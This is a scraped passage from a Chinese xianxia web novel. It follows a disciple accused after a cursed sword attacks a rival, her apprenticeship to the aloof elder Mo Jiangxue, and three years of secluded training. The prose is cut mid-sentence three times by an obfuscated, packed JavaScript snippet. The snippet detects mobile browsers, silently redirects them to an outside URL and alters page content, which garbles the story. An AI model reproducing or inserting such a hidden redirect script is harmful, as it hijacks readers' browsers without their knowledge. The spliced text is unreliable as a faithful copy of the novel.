天璇剑不是封存在缥缈峰山腰的剑阁中吗?怎么会出现在这里? 半空中风起云涌,雷声大作,电闪雷鸣间,天璇剑径直攻向沐紫芙。 一时间,未名峰上,剑气破空声、琴声、箫声、琵琶声齐响,却未能阻挡天璇剑的半分攻势。 变故发生在瞬息之间,谢清徵脚步还没迈出,身体一阵痉挛,重重摔倒在地。 一片模糊的血光中,她隐约看见沐青黛闪身挡在沐紫芙身前。 “噗嗤”一声响,天璇剑没入沐青黛的身体,剑刃上的鲜血点点滴滴落下…… * 意识再度清醒过来时,身体疼得几乎快喘不过气来,明明才睁开眼睛,谢清徵却觉得不如昏死过去来得舒坦。 昏迷时,至少感受不到这般剧烈的疼痛。 喉咙干涩得不行,呼出吸入的气息都带着浓郁的血腥味。 她躺在冰凉的地上,艰难地呼吸着,试图调匀体内紊乱的气息。 头顶是陌生的天花板,室内空无一物,四周墙壁上刻满密密麻麻的门规—— 她被关进了戒律阁。 犯的是哪一条门规啊?残害同门吗?不应该是沐紫芙迫害她吗?凭什么关她? 谢清徵双手撑地,尝试了好几次,终于从地上坐了起来。 她的目光在密密麻麻的门规里搜寻,想看看自己究竟触犯了哪一条戒律。 心中还弥留了几分委屈与愤怒,她倏忽想起昏迷前看到的最后一幕,浑身一颤。 不知道沐长老怎么样了?有没有性命之忧? 倘若沐长老真出了什么事,自己别说是拜莫绛雪为师,只怕,连璇玑门也待不下去了…… 天璇剑为什么会突然出现在擂台上,帮她攻击沐紫芙? 一般情况下,只有认主的灵剑才会有这种护主行为。 天璇剑什么时候认她为主了?以她目前浅薄的修为,怕是不够资格成为上品灵剑的主人。 天璇剑被莫绛雪带回璇玑门后,一直封存在剑阁中,她也没资格靠近。 她只是在刚出温家村的那一晚,摸了一下它。 上品灵剑又不是小狗,被摸一摸就认主…… 门外传来两个师姐的谈话声: “沐长老替紫芙师妹挡了一剑,现在还生死未卜。” “紫芙师妹也真是,早认输不就不会有这么多事了……” “不知道天璇剑为什么会突然出现在未名峰?总不能真的是清徵师妹召唤出来的吧?” “应该不是,小师妹又没见过天璇剑。掌门说可能是天璇剑解封后,还残留有一丝煞气,感应到未名峰的打斗气息,自己挣脱了剑阁的束缚,冲出来伤人饮血。” “那小师妹也是无辜的啊,凭什么把她一个人关在这里?看着真可怜!” “诶,估计是为了给青松峰一个交代吧。” “青松峰的人蛮横好斗又不讲理,不知道掌门为什么总偏袒她们?” “我听师姐们说过,几年前,正魔两道频繁交战的时候,十有八、九,都是沐长老领着青松峰的女修们留下断后,璇玑门后山的衣冠冢里,埋的最多的,就是青松峰的师姐们……沐长老‘鬼见愁’的名号也是那时候闯下来的……” “难怪……沐长老脾气不怎么好,在门派里的人气却居高不下。” “是啊,倘若沐长老真的有什么三长两短,只怕青松峰上下都会迁怒小师妹,‘我不杀伯仁,伯仁却因我而死’,小师妹能不能留在璇玑门都不好说……” 谢清徵听到这里,垂下眼帘,一面哀叹自己的霉运,一面忧心沐长老的生死。 可千万别死啊…… “见过闵鹤师姐。” 门外传来问候声,戒律阁的木门忽然被打开,闵鹤走了进来。 谢清徵轻轻喊了一声:“师姐。” 闵鹤看到她一身是伤,叹了一声气,牵过她的手腕,渡了些真气过去,又掏出一枚丹药,让她服下,这才道:“师妹,沐长老暂时没有性命之忧。我带你去见掌门和长老们,你别怕,不会有事的,这是意外,和你无关。” 安慰的语气听上去无比轻柔。 谢清徵鼻子一酸,眼眶也变得有些湿润。 一个人受委屈的时候,最听不得别人的温柔安抚。 本来她不想哭的,本来她还有些生气的,可被闵鹤师姐这么一安慰,她就只剩委屈和心酸了。 璇玑门的这些师姐,是真心真意地待她好。 她喜欢这里,喜欢师姐们,也喜欢莫长老,她一点也不想离开璇玑门。 到了紫霄峰的主殿之上,只有谢清徵一个人进去,闵鹤在殿外守着。 萧忘情端坐在主殿正中央,一向温和的神情中多了几分肃穆。 金肃尘、丹姝、蓝昧三位长老坐在右侧,神情各异。 莫绛雪一人独坐在左侧,面容依旧被白纱遮挡的严严实实。 谢清徵的目光掠过莫绛雪,停留片刻,向众人行礼:“清徵拜见掌门、各位长老……” 萧忘情道:“徵儿,天璇剑认你为主了。” 一开口便是一句晴天霹雳。 一旁的丹姝长老看着她道:“天璇剑曾被谢浮筠拿了去,认谢浮筠为主,后来封印在温家村七年,这七年来,村里只有你一个活人,你身上又流淌着谢浮筠的血脉,日久天长,那剑就把你当成主人了。” 萧忘情盯着谢清徵眉心的那道朱砂印,沉吟片刻,温声道:“若天璇剑还是当年那把破邪斩魔的仙剑,它肯认你为主,那也没什么要紧的,徵儿,你品性端良,又资质过人,我会传你毕生所学,教你匡扶正道。只可惜,一把破邪斩魔的仙剑,被魔教的人炼成了嗜血的邪剑,如今还有一分煞气未除尽,只要剑主一动杀念,那剑必然要饮血。” 水云峰的蓝昧长老与沐青黛关系甚好,此刻看见谢清徵,气不打一处来,叱骂道:“孽障!我看你当时就是动了杀芙儿的念头!只不过是同门较艺,你为什么要起杀念?” 谢清徵脑海一团混乱,脸上一阵红一阵白:“我没有……” 她只是觉得很生气、很不公平! 金肃尘长老性情严苛,闻言怒斥:“还敢狡辩!小小年纪,心性就如此残忍,长大还了得?你母亲当年就是心术不正,夺走我派天璇剑,结交魔教妖邪,才被天枢宗逐出门墙。如今天枢宗不肯要你,我们璇玑门好心收留你,你还要恩将仇报不成?我看你迟早步你母亲后尘——” “金峰主,慎言!” 一道清冷寒峻的声音打断金肃尘的斥责。 “她是她,她母亲是她母亲,不要混为一谈。她没做过的事,也不要强加到她头上。” 殿内众人齐齐望向莫绛雪,脸上神情各异。 金肃尘被莫绛雪当众驳了面子,脸色极为难看。 萧忘情帮衬道:“君子论迹不论心,就算徵儿真动了杀念,可毕竟未下杀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|13175509|138002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手……不要当着一个女儿家的面,去说她母亲的不是。” 声音依旧温和,语气却隐隐带有一丝斥责之意。 她还有一句话没说出口,但在场的人都明白:沐紫芙的“万剑归宗”,才是一记真正的杀招。 谢清徵乍一听见母亲结交妖邪、被逐出门墙的话语,有如当头一棒。 正邪不两立,正道和魔道积怨已久,几百年来缠斗不休,璇玑门作为名门正派,人人提起魔教都是咬牙切齿。 难怪掌门当初要她隐瞒身世,以免旁生枝节…… 难怪掌门提及她母亲,总是含糊其辞…… 她的母亲为什么会去结交魔教中人? 萧忘情把错都揽到了自己的身上:“较真起来,不能怪芙儿,也不能怪徵儿,要怪便怪我,是我有意收徵儿为徒,想看看她的潜力能发挥到何种地步,才没有及时喊停。” 金肃尘哼道:“就算不怪她,可她始终是个祸患!依我看,不如废去她的修为!只要她身上没有一丝灵气,天璇剑就感应不到她的杀念!” 蓝昧同意道:“金峰主说得不错,废除她的修为,防患于未然!” 丹姝惋惜道:“可惜了一个修炼的好苗子。” 萧忘情沉吟不语,似在思考有无其它更好的解决办法。 谢清徵脸色唰一下变得惨白。 她废寝忘食努力了一年,得到的竟是这样的一个结果? 不但不能拜莫绛雪为师,还要被废去全身修为? 她的目光在掌门和各位长老之间来回扫动,双膝一曲,跪下,恳求道:“掌门,长老,从今以后我再也不起杀念了,我也不要天璇剑认我为主——” 金肃尘打断道:“你说不会就不会?我的三个徒弟都是死在天璇剑的剑下!若真能轻易控制,当年也不会有那么多的剑下亡魂!” 莫绛雪站起身,走到谢清徵面前,拂袖一挥,托起谢清徵的膝盖,朝座上的众人道:“天璇剑是我取回的,我会想办法去除剑上的煞气;她也是我带回来的,诸位若信得过我,便将她交予我。” 话语掷地有声,语气不容反驳,接下来的一句话,亦是辛辣无情。 “将来,她若用天璇剑滥杀无辜,我便亲手诛杀她。” * “你是可怜我、同情我,所以才打算收我为徒的吗?” 缥缈峰峰底,苍茫竹海中,谢清徵亦步亦趋跟在莫绛雪身后,嗫嚅着问道。 莫绛雪要带她去碧水寒潭疗伤。 她身上血迹斑斑,唇角残留有一丝血渍,说起话来亦是有气无力。 “我不想你可怜我,我希望……你是真心实意地认可我,所以才想要收我为徒……” “你在别扭什么?”翩然如鹤的身影穿梭在竹林中,回答的语气听上去没有太多的情绪起伏。 身后的少女低声道:“你若是对我不满意,我今年可以不拜师。等三年后,你真心认可我了,我再拜师……” “少啰嗦。” 谢清徵沉默了好一会儿,接着啰嗦道:“你不是说……你的师门一师只收一徒,收徒要看机缘吗?这便是我们的机缘了吗?” “嗯。” “那……你对我在论剑大会上的表现,满意吗?” “还行。” “那……你相信我没有起杀念吗?” 莫绛雪不语。 谢清徵低着头:“我只和你说实话,其实,我自己都有点不相信……我也忘了那时候在想些什么,我只记得自己真的真的很生气……你,相信我,我以后不会那样了……” 她怕被莫绛雪嫌弃。 尽管她不确定当时的自己是否起了杀心,但她还是想和莫绛雪解释清楚。 莫绛雪抬手捏了一下眉心:“做我的徒儿,不可以不听话,也不可以太多话。” 谢清徵轻轻应了一声:“我这一生一世都会听你的话。”便不敢再多嘴了。 莫绛雪也没再说什么。 风轻轻吹过,竹叶沙沙作响,两人一前一后走在竹林中,谢清徵低头望着地上如水般的月华和交横的竹影,始终离莫绛雪五步远。 她不舍得踩到身前那人的影子。 她在心中反复回味那句“做我的徒儿”,回味着,回味着,心中忽然酿出几分甜丝丝的感觉来。 她晃了晃脑袋,又摸了摸微微发烫的脸颊。 看来,真是伤得太严重了,否则,怎么会产生这种恍恍惚惚、仿若踩在云端上的感觉呢? 19.拜师(六) * 谢清徵在碧水寒潭里浸泡了一夜。 一夜之后,她的外伤痊愈不少,但论剑大会一战,真气枯竭,经脉受损,她短时间内都不能再运气。 翌日,天还未亮,她摸黑走回未名峰,收拾家当,揣上灵狐,匆匆忙忙往缥缈峰搬去——生怕莫绛雪后悔一般。 踏雪冒寒,抵达缥缈峰山腰时,谢清徵一头撞上一道透明的结界。 她揉了揉额头,解下腰间的木牌,换上了玉牌。 身份玉牌是内门的标志性佩饰,有这道玉牌,才可以进入璇玑门各峰山腰以上的地方。 灵狐紧跟在她身后,一路上打滚玩雪,不亦乐乎。 谢清徵走到一半,停下来,看着灵狐,若有所思。 灵狐雪白的毛发沾上了晶莹的细雪,朝她歪了歪头,霎是可爱。 谢清徵放下手上的大包小包,抓起灵狐,在雪地里翻来滚去、搓了又搓: “你好像一年没洗澡了吧,要搬新家了,我先帮你用雪洗一洗啊,免得你又被她嫌弃太脏。” 灵狐被她搓得嗷嗷嘤嘤叫。 洗完狐狸,继续赶路。 越往山上走,寒气越重,谢清徵暂时不能运气,冻得瑟瑟发抖。 灵狐看了她一眼,“不计前嫌”,小爪子搭上她的手腕,将自己的真气渡了一点给她,又趴到她的背上,把自己当做一条毛茸茸的毯子,好帮她捱过这阵严寒。 有了可以抵御严寒的真气,四肢百骸重新暖和起来,谢清徵感叹:“毛团你真好,改天我去未名峰找黄大厨给你做烤鸡吃。” 黄大厨养了一只黄鼠狼作为灵宠,那黄鼠狼经常捉野鸡回来。 “你这样走下去,走到天黑,也走不到山顶。”忽然有一道清冷澄澈的嗓音传入耳畔,谢清徵心中一惊,接着一喜,四下张望,却并未看见那道熟悉的身影。 传音入耳? 忽又有一声鹤唳响遏行云,半空中,一只仙鹤俯冲而下,扇着翅膀,落到她面前。 谢清徵朝身后的灵狐道:“莫长老让仙鹤来接我们了!” 她连忙将大包小包放到仙鹤背上,又揪过灵狐,抱在怀里,翻身跃上仙鹤宽阔的脊背。 “听说她在梅林里养了两只仙鹤,毛团你以后可要乖乖的,不能和那两只仙鹤吵架打架。” 灵狐抖了抖耳朵。 仙鹤拍打着翅膀,缓缓升起。 缥缈峰上,千万株寒梅凛冽盛开,微风细雪,暗香浮动。 谢清徵乘鹤穿梭于云雾花海之间,心情既期待,又紧张。 虽然还有很多事情没有弄明白,虽然经历了一些波折,但一年了,她总算得偿所愿,可以拜莫绛雪为师了。 渐渐听闻梅林中传来铮铮琴声。 仙鹤好似被琴声牵引而去,穿过重重叠叠的花海,最终停在了一棵梅花树下,仰头发出一声鹤唳。 到了。 谢清徵抱着灵狐从仙鹤背上翻身下来。 那道如烟似雾的白衣身影,端坐在梅花树下抚琴。 鹤唳声起,琴音停歇,莫绛雪抬眼看向谢清徵,淡淡的道:“你把整个未名峰都搬过来了么?” 这是嫌她东西太多的意思,她听出来了…… 谢清徵回头看自己的大包小包,讪讪一笑:“这些,都是师姐们送我的……” 她们这些外门的师妹,修为尚浅,年龄也不大,无故不得擅离门派,内门的师姐外出游历时,时常会捎些民间的小玩意回来哄她们开心,什么胭脂水粉、糕点吃食、竹篮柳篮…… 丢是不能丢的,师姐们送的东西,谢清徵走到哪,就会带到哪儿。 若不是去年离开温家村时太匆忙,她一定也会把村里的东西都带上。 她刚来璇玑门时穿的那套破衣裳,她都还留着呢。 莫绛雪轻轻摇头:“你实在太过重情,修不了我的忘情道。” 宛如一盆冷水兜头浇下,谢清徵怔了好一会儿,磕巴道:“你你你这就后悔收徒了吗?!” 这变得也太快了吧! 莫绛雪淡声反问:“我何时说过后悔?” 谢清徵一颗心提到了嗓子眼:“那那那……” 莫绛雪:“你修逍遥道吧。” 修到自由自在、无拘无束、超然物外的境界,便可以得道了。 谢清徵这才放下心来,揉了揉有些泛红的眼眶,应了一声:“好。” 莫绛雪让她修什么,她便修什么。 莫绛雪随手指了一间竹屋,让她把东西搬进去。 谢清徵抬眼看去,山顶除了数不清的梅花,便只有一间竹亭,五、六间竹屋。 长老好像有点穷…… 不过,没关系,师姐们说了,玄门清修之士,不可追求外物,要安贫乐道。 谢清徵把大包小包扛进去,收拾好,出来时,她看见莫绛雪站坐在梅花树下,边抚琴边道:“去准备拜师礼要用的东西,东西在最西边的那间竹屋中。” 使唤她使唤得很自然。 缥缈峰没有杂役,大小一切杂事都要亲力亲为。 拜师礼有三,一跪,焚香跪祖师;二敬茶,聆听训话;三叩首,叩拜师尊。 谢清徵要准备的便只是焚香和茶水。 她手脚麻利地搬好桌子,准备好香火香炉,煮好茶水。 莫绛雪走过来,点燃六炷香,递给谢清徵三柱:“师祖名号‘千秋真人’,已飞升仙界,你就对天磕头吧。” 谢清徵双膝一曲,对天而跪,磕了三个响头。 莫绛雪一拂白袍,持香跪下,俯身三拜。 礼毕,两人同时上香,然后站起身。 谢清徵斟好一杯茶,举杯齐眉,躬身将茶献给莫绛雪。 莫绛雪接过,一饮而尽,道:“没什么要说的,修行一道,贵乎自然,你便顺其自然,做自己就好。但记得,不可作恶,你若作恶,哪怕躲到天涯海角,我也会亲手杀了你。” 最后一句话说得冰冷狠绝。 这是她第二回说要亲手杀了自己,谢清徵听得心中一凛,跪下,磕了三个响头:“徒儿不敢,徒儿一生一世都会听师尊的话,光明磊落做人,坦坦荡荡做事,今生今世,跟随师尊左右,一心向道,生死不离!” 莫绛雪垂眸望着谢清徵。 生死不离这种话,是拜师时该说的吗? 她当年拜师时,似乎不是这样说的……算了,眼前的少女情感浓烈而又外放,和她很不一样,想怎么说,便怎么说。 行完拜师礼,谢清徵欢欢喜喜站起身,盯着莫绛雪看一会儿,低头笑一笑,又抬头去看她,绵软温暖的情绪充盈胸腔。 她们真的成师徒了…… 莫绛雪朝她招了招手:“过来。” 谢清徵听话地挨近了一些:“师尊有什么吩咐?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|13187292|138002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 莫绛雪伸手点了点她眉心的朱砂印:“你这人,看似温软脾性好,实则存了一股执拗,又太过重情,于修行一途有碍。” 眉心传来冰冰凉凉的触感,谢清徵唇边的笑容一点点消失,心里浮起丝丝缕缕的慌张与无措。 她做错什么了吗?为什么要这么说她? 她不知所措地望着莫绛雪。 莫绛雪静静凝视着她,对视片刻,似是意识到自己太过严肃,将声音放轻了些:“你已入玄门,不要过于执着前尘往事,否则,尘缘难断,必有一劫。” 白袍袖口上拂来了极淡的冷梅香,谢清徵嗅见,心里的慌乱褪去些许,眼中却依旧有几分茫然无措。 “我……我……” 师尊的话都很有道理,她想说,我不会执着那些前尘往事了。 可她说不出口。 她就是很想知道过去发生了什么事,她放不下那些东西,她也不想欺瞒师尊。 “你的过去我也说不清。”莫绛雪收回了手,“不说这些了,你去东边那间屋里,挑一把趁手的佩剑和乐器。” 天璇剑虽认谢清徵为主,但那剑煞气未除,又是璇玑门的镇派宝物,自然不可能交给她。 外门使用的都是统一发放的凡品铁剑,进入内门后,才开始挑选正式的佩剑和乐器。 谢清徵收拾好慌乱的心情,走到东边的竹屋,推开门,只见屋内灵光四溢,墙壁上、桌子上、木架上陈列着各种长剑和乐器,长剑、短剑、轻剑、重剑,琴、箫、笛、琵琶…… 原来她的师门一点都不穷!璇玑门的兵器库怕是都没有这么多的仙器! 师尊的爱好是收集仙剑和乐器吗? 谢清徵在室内东看看,西摸摸,只觉得每一把剑每一种乐器都很好很漂亮,她看得眼花缭乱,把黯淡的心情都抛到了脑后。 挑了许久,屋外忽然传来“铮铮”两声琴响,似有催促之意。 谢清徵朗声应道:“好了好了!师尊,我快挑好啦!” 她闭上眼睛,转了三圈,然后随手抓过一把剑和一种乐器。 随缘吧,看什么武器和她有缘。 睁开眼,手中握着的是一把寒光四溢的长剑和一管碧绿色的玉箫。 长剑的剑柄处有一个小小的阴阳图案,靠近剑柄的剑身上,刻有“参商”二字,剑鞘上题有一句“人生不相见,动如参与商。” 箫名“烟雨”,箫身碧绿通透,其上也有一排小字“一蓑烟雨任平生”。 谢清徵握着剑和箫出去,小跑到莫绛雪面前:“师尊,你看,我随手抓的,参商剑和烟雨箫!” 莫绛雪坐在梅花树下,盯着剑与箫上的小字,看了片刻,微不可闻地叹了一声气。 “参商”有分离不相见之意,“烟雨任平生”有苦中作乐之意,都不是什么好兆头。 果然是个小灾星。 谢清徵浑然不觉,乐呵呵问道:“师尊,这剑和箫怎么样?” 莫绛雪:“你倒识货,这是天权山庄庄主亲自铸造的。” “是吗,等哪天去了天权山庄,我亲自去找庄主道一声谢!” 天权山庄与璇玑门世代渊源,是修真界中最大的兵器铸造世家,但凡是天权山庄铸造的上品灵器,总会刻上一句小诗。 莫绛雪道:“剑和箫是你的了,但接下来三年,我不会教你任何东西。” 为什么? 20.诅咒(一) * “我不会教你任何东西。” 乍一听这话,谢清徵的脸上闪过迷茫、委屈、失落、无措,最后,定格为盲从般的信任。 师尊这么做,一定有她的道理! 谢清徵不问理由,只轻声道:“没关系,那我就三年后再学,我可以等的。” 她们现在已经是师徒了,自己是她唯一的徒儿,今生今世,她只会有自己一个徒儿。 一想到这点,心中便有说不出的欢喜。 莫绛雪神色如常:“过两天我要去剑阁闭关,此后三年,缥缈峰上,只有你一个人在。” “师尊是要去除天璇剑的煞气吗?” 莫绛雪:“嗯。” 天璇剑伤人这事就此揭过,掌门和三位长老把谢清徵交给了她,条件就是除去天璇剑的煞气。 天璇剑是她取出的,以她的性子,就算没有谢清徵这档子事,她也会主动去除煞。 谢清徵:“居然要闭关三年这么久……” 难怪,适才说什么接下来三年,不会教她任何东西…… 这句话应该算一句解释,虽然不用解释她也会无条件地信任师尊,但亲耳听见了解释,心中多少会有些开心的。 谢清徵又忐忑问道:“你会有危险吗?我可以和你一块去剑阁吗?我去服侍你。” 若不是莫绛雪把她带回了缥缈峰,只怕她现在已经被废去了全身的修为。 她感激她,却又心生愧疚,怕自己连累了她,害她再入险境。 莫绛雪摇头:“我能应付,你待在缥缈峰便好。” 语气虽轻,却不容置喙。 没想到刚拜师就要分别三年,谢清徵心中涌起一阵酸楚与不舍,眼神满是藏不住的眷恋和依赖,柔声道:“师尊,我肯定会很想念你的,我以后天天去剑阁门口,和你请安问好……” 莫绛雪眉目冷淡,语气也冷淡:“这倒不必,我听不见。” 满腔柔情被她的冷淡浇了个透心凉,谢清徵噎了片刻,才低低喔了一声。 不去就不去! * 翌日,谢清徵亲自下厨,煮了一碗阳春面,恭恭敬敬端到莫绛雪面前:“师尊,我不知道要怎么报答你的好……以后,喂鹤、扫雪、烹茶这些杂活都交给我好了,我还会下厨,您尝尝我煮的面!” 结丹的修士早已辟谷,无需进食,只是偶尔品尝一下人间美味。 莫绛雪接过谢清徵递来的筷子,默不作声,吃下了一整碗面。 谢清徵看了看见底的空碗,又瞧了瞧莫绛雪的神色。 神情看上去依旧冷淡,但……应该是满意的吧? 谢清徵殷勤地递过手帕和茶水,语气轻快:“师尊,等你出关以后,我天天给你做好吃的。” 莫绛雪接过手帕,擦了擦唇,面无表情:“你于厨艺一道并无天分,以后不要轻易尝试了。” 说完,斜眼看她,难得的多说了一句话,却不是什么好话: “总吃这样的食物,能活下来,属实不易。” 难怪在温家村的时候,瘦成那样…… 一颗下厨孝敬的心被摔得破碎,谢清徵捂着胸口,把锅里剩余的面拿去喂灵狐。 灵狐嗅了嗅,嫌弃地看了她一眼,扬长而去。 她经脉受损,无法运功抵御山上的寒气,医修师姐说,起码要一个月后才能恢复。 昨晚睡觉时,她把狐狸紧紧抱在怀中取暖。小狐狸一面被勒得直翻白眼,一面渡真气给她。 这会儿狐狸去外面玩了,谢清徵又被冻得嘶嘶吸气,却还坚持拿起扫帚,清扫屋前的积雪。 莫绛雪坐在竹亭中,执了一卷经书安静地看。 四下一片幽静,静得像是回到了温家村的西山。 过去一年,谢清徵在未名峰山和同门一块嬉笑玩闹,热闹惯了,再次置身这种寂静的氛围中,还真有点不习惯。 她转眼望向莫绛雪。 师尊整日在缥缈之巅,冷冷清清一个人,不知道,她会不会有感到孤寂冷清的时候? 应该,不会吧…… 师尊她潜心修道,又爱清静,或许是迫于形势和责任心,才收自己为徒的。 谢清徵一面扫雪,一面暗下决心:自己今后一定要学着安静些,再安静些…… 雾凇沆砀,山冻流云,风雪似乎更大了些,天地俱白。 耳畔寒风呼啸,细雪落到她的脸颊上,有些冰凉。 莫绛雪忽然放下经书,瞥向谢清徵,开口道:“你过来。” 谢清徵深一脚浅一脚踩过积雪,听话地走到莫绛雪面前:“师尊……有什么吩咐吗?”冷得声音微微发颤。 莫绛雪:“再过来一点。” 师徒一坐一立,谢清徵又靠近了一些。 莫绛雪伸出手,指尖抚过她的脸颊,化去她脸上的雪粒。 冰凉细腻的触感划过脸颊,谢清徵屏住呼吸,一动不动。 指尖停留在她的眉心,一股温暖的真气涌入,依次流过印堂、心口、丹田,她冰冷的手脚随之暖和起来。 她一怔,对上莫绛雪的眼眸。 那双眼眸宛如山上的细雪与微风,分明清寒入骨,却无端惹人一阵悸动。 谢清徵无暇理会心中的异样感,抓过莫绛雪的手腕,阻止道:“师尊,你快要闭关了,不要再为我消耗真气了。” 莫绛雪停下动作,浅淡的双眸望着她,没说话。 璇玑门最讲究尊师重道、尊卑有别,谢清徵反应过来,连忙松开手,后退半步,歉然道:“徒儿逾矩了。” 莫绛雪沉吟片刻,起身,御剑离开,丢下一句:“你等我一会儿。”便不见了踪影。 谢清徵被撂在原地,连一句“您要去哪儿”的话都来不及问。 适才,她一心想着阻止师尊渡真气给她,别无它念,这时安静下来,她想起师尊的手腕,似羊脂冷玉一般,皓白,冷腻,柔软。 霎时间,心中异样感更甚。 可下一瞬,她忽然反应过来,谁家徒儿会去想师尊手腕触感如何啊?这也太不礼貌了! 她拍了拍自己发烫的脸颊,不再胡思乱想,望向师尊离开的方向,静静等待师尊回来。 莫绛雪御剑飞往紫霄峰,和萧忘情借了一件鹤氅、一个手炉。 萧忘情与裴疏雪同住在紫霄峰,裴疏雪体弱多病,萧忘情在紫霄峰上备了不少御寒之物。 “也只有我的紫霄峰会有这些东西。”萧忘情微笑着将东西递给莫绛雪,“你自然是用不着的,是给徵儿准备的吧,我这里还有一瓶补气的丹药,你一块带回去。” 莫绛雪接过鹤氅和手炉,道了声:“多谢。” 萧忘情旋即又敛了笑,正色道,“对了,疏雪让我同你说,徵儿身上的寒热之毒她已经查到了一些眉目,确实像你猜的那样,是一道诅咒。而且,”她的神色愈发严峻,“就算暂时压制下去了,将来发作起来,还是会有性命之忧……” 莫绛雪闻言,沉吟片刻,道:“等我出关后,亲自去请教裴副掌门。” * 莫绛雪去剑阁闭关前,只教了谢清徵一件事——在缥缈峰峰顶,静听梅花的开与落。 留给谢清徵的,也只是《道德经》里的一句话:「至虚极,守静笃,万物并作,吾以观其复。」 意思是:清除内心的执着妄想,保持清静,反复观察世间万物的生死轮回。 这是悟道的法门。 谢清徵每日卯时起床,抱着剑,站在梅花树下,静听每一朵花开落的声音,站到太阳下山,方才算完成一日的功课。 第一个月,她身上披着鹤氅,手里抱着暖炉,时不时神游天外,一会儿想师尊这会儿在做什么,一会儿想沐长老好没好一点,一会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|13211336|138002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿猜想温家村那些人的死因,一会儿又想母亲为什么会去结交魔教的妖邪。 第二个月,她的内伤彻底痊愈,可以运气抵御山上的风雪了。 她御剑去了紫霄峰,把鹤氅和手炉还给掌门,然后继续回到缥缈峰的梅花树下站着。 这种悟道方式实在折磨人,站在树下一动不动,跟木头桩子似的,还要凝神去听梅花的开与落,但确实可以磨砺心性。 师尊要她在缥缈峰,一年四季,致虚守静,凝神静听花开花落、生死荣枯,除了悟道砺心外,约莫也是为了让她不再起杀念。 她其实不太明白,难道有人要杀了她,她也不能起杀念吗? 这不太合理,就算兔子急了也会咬人呢。 但,如今,就算真有人要杀了她,她也不敢再起杀念。 师尊与天璇剑同在剑阁,一旦她起了杀念,第一个有危险的便是师尊。 莫绛雪把自己关进了剑阁,谢清徵便把自己关在了缥缈峰。 不接触外人,不参和杂事,这样能最大程度地保持心如止水。 论剑大会上,天璇剑一事,引起了轩然大波,她暂时也不适合出现在众人的视线中。 到了第个三月的时候,她实在想念莫绛雪,决定以后每日都去剑阁前请安问好。 虽然师尊不一定听得到,但她还是会站在剑阁门前,絮絮叨叨说自己这一整天都做了哪些功课,内功修为进展如何,灵狐有没有和仙鹤打架…… 月复一月,年复一年,缥缈峰的梅花开了又落,落了又开。 三年时光一晃而过,谢清徵已能在梅花树下,心无旁骛地站上一整天。 这三年她几乎不见外人,只有闵鹤担心她会孤独,得闲时会来陪她聊聊天。 莫绛雪三月初七出关。 初五这天,谢清徵就已经开始准备。 她将竹屋前的积雪、落梅清扫干净,折了几枝漂亮的红梅,摆在师尊屋里。 屋里一尘不染,她每个月都会打扫好几遍。 打扫完峰顶的几间屋子,谢清御剑飞往峰底的水潭。 她要庄重地沐浴更衣,迎接师尊后日出关。 三年过去,她的剑术没多大长进,也只是粗通乐律,但已经结出了金丹,容貌停留在十八岁的模样。 三年未见,不知师尊有何变化?不知师尊第一句话会同她说些什么? 距离初七这天越近,期待与想念之情越浓,她迫不及待想要见到师尊。 她御剑穿过梅林,飘落到寒潭边的石头上。 刚一站定,她便怔愣在原地。 潭水碧如琉璃,一个身着素色内衫的女子浸浴其中。 那女子微低着头,湿透的衣衫紧贴在身上,背影绰约清瘦,长发如墨,松松的拢在一侧,颈部肌肤如雪似冰,颈间点点滴滴滑落的水珠,不像是冰凉的潭水,倒像是体内热力外泄的汗水。 那是一道熟悉又陌生的背影,阔别三年,谢清徵有些不敢确认。 她定定看着,移不开目光,却并非被美色吸引,而是听见那人发出细碎的低吟声,似是极为痛苦难忍,更像是……自己当年热毒发作时的症状…… 怎么回事? 潭中女子似是察觉到她的到来,竭力忍住了低吟声。 “哗啦”一声,水波晃动。 莫绛雪转过身来,湿漉漉的墨发凌乱地贴在鬓边,面颊微红,似是一朵凛冽盛开白梅,凝上一层极淡的胭脂色,眸光幽冷,直勾勾地望向谢清徵。 谢清徵对上那道清寒目光,脑海一团混乱,心跳瞬间乱了节拍:“师、师尊……你……” 为什么会和她一样,有热毒发作的迹象?还是说,当年她的毒根本没有消除?只是,只是…… 莫绛雪擦去唇边的一丝血痕,压下眉眼间一缕痛楚,红唇翕动,吐出两个字: “过来。”